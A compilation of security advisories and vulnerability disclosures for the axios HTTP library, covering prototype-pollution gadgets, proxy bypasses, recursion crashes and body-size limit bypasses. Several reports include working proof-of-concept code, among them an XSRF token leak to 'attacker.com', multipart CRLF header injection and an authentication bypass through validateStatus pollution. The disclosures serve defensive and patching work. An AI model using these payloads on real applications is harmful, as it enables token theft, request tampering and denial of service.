axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

axios versions from 0.28.0 before 0.33.0 and from 1.0.0 before 1.18.0 contain uncontrolled recursion in formDataToJSON (exposed as axios.formToJSON() and used internally when serializing FormData with Content-Type: application/json). When an application passes attacker-controlled FormData field names, a field name with thousands of nested bracket-delimited segments causes unbounded recursion in buildPath(), exhausting the JavaScript call stack (RangeError: Maximum call stack size exceeded) and causing denial of service for that request, or process termination in applications without appropriate error handling.

axios versions >=1.13.0 (Node.js HTTP adapter) fail to enforce the configured maxBodyLength limit on streamed request bodies when requests are sent with httpVersion: 2. Because Node's HTTP/2 request API does not honor the maxBodyLength option and axios's byte-counting stream wrapper is gated on maxRedirects === 0, an attacker who controls a stream passed to axios can cause the application to transmit outbound data exceeding the configured finite maxBodyLength. Impact is limited to resource consumption and policy bypass (excess egress, upstream quota consumption, limited availability); it does not enable code execution, credential disclosure, or request-destination control. Calls using the default maxBodyLength: -1 and browser adapters are not affected.

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

axios versions 0.31.1 before 0.33.0 and 1.15.1 before 1.18.0 contain an incomplete depth-limit bypass in toFormData.js when serializing objects with top-level keys ending in '{}'. Attackers who control object keys and nested values passed to axios form or parameter serialization can trigger a RangeError from JSON.stringify, causing denial of service in the affected request path.

axios versions 0.31.0 before 0.33.0 and 1.15.0 before 1.18.0 fail to recognize 0.0.0.0 as a loopback address in shouldBypassProxy.js, allowing requests to 0.0.0.0 to bypass NOPROXY rules. Attackers can supply 0.0.0.0 URLs to route requests through configured proxies, potentially exposing local services when the proxy can reach the destination.

axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.

axios versions >=1.15.2 and <1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.

axios versions 1.7.0 before 1.18.0 fail to enforce maxBodyLength for WHATWG ReadableStream request bodies in the fetch adapter when Content-Length cannot be determined. Attackers can supply unknown-length stream data to bypass upload size limits and cause uncontrolled network egress or resource exhaustion.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows. This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie. The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2.

Axios is a promise based HTTP client for the browser and Node.js. Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. This vulnerability is fixed in 1.15.1 and 0.31.1.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. This vulnerability is fixed in 1.15.1 and 0.31.1.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, an attacker who can influence the target URL of an Axios request can use any address in the 127.0.0.0/8 range (other than 127.0.0.1) to completely bypass the NOPROXY protection. This vulnerability is due to an incomplete for CVE-2025-62718, This vulnerability is fixed in 1.15.1 and 0.31.1.

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.2, he Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This vulnerability is fixed in 1.15.2.

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No

Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Resources

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';

function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }

try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded

Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, a prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. This vulnerability is fixed in 1.15.1 and 0.31.1.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process. This vulnerability is fixed in 1.15.1 and 0.31.1.

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps:

1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully.

Observed: - Success; full 2097152 bytes readable.

Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

### PoC

Environment:

- Axios main at commit f7a4ee2 - Node v24.2.0

Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0

Observed: - Request succeeds; server reports received: 2097152.

Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBADREQUEST.

### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) const http = require('http'); const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); });

server.listen(0, '127.0.0.1', async () => { const port = server.address().port;

class SpecFormData { constructor() { this.entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this.entries.push([name, value]); } Symbol.iterator { return this.entriesSymbol.iterator; } entries() { return this.entriesSymbol.iterator; } }

const fd = new SpecFormData();

fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function() { yield Buffer.from('MALICIOUS PAYLOAD'); } });

await axios.post(http://127.0.0.1:${port}/upload, fd);

if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOTVULNERABLE]'); }

server.close(); });

Steps to reproduce:

1. npm install axios 2. Save the above as pocaxioscrlf.js 3. Run node pocaxioscrlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF};

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }

// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

javascript Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }

3. The Execution

javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }

4. The Impact

Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()

After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500

--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }

Resources

- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |